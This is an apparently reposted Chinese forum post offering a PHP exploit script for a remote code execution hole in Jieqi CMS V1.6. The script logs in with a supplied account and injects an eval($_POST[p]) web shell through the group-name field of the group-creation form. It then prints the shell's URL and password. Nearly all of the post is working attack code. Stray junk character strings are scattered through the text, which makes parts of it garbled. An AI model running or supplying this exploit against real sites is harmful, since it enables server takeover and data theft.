Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


$ ^" E! t6 e) C) F该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
$ e. r2 h+ x6 A. A6 A' r* Z8 _ 需要有一个能创建圈子的用户。
6 Z$ }  u4 P0 [4 q$ i+ c. A
<?php

print_r('
+---------------------------------------------------------------------------+
- U) t, O. V7 Q: qJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
! O& @: l" @1 e( W+ [" w% }2 qteam: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
, `; r# K/ v9 S3 C$ hhost:      target server (ip/hostname)
path:      path to jieqicms
uasename:  a username who can create group
, Y; G5 h8 e' k* kExample:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
$ j( _& d" g6 J6 X, Y, ^'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

4 P0 R' W8 L8 a8 B+ }'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

1
8 s5 [/ |* L# u2 ]-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
9 d3 K9 C' z( M2 B
0 z" \4 t. r4 H# o1
-----------------------------23281168279961
* d- |" Y; K) b1 \Content-Disposition: form-data; name="gbrief"

1
" u3 A7 Z2 E. ^2 J! E! D-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
3 \4 z0 [6 b& Q& {' @: l
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;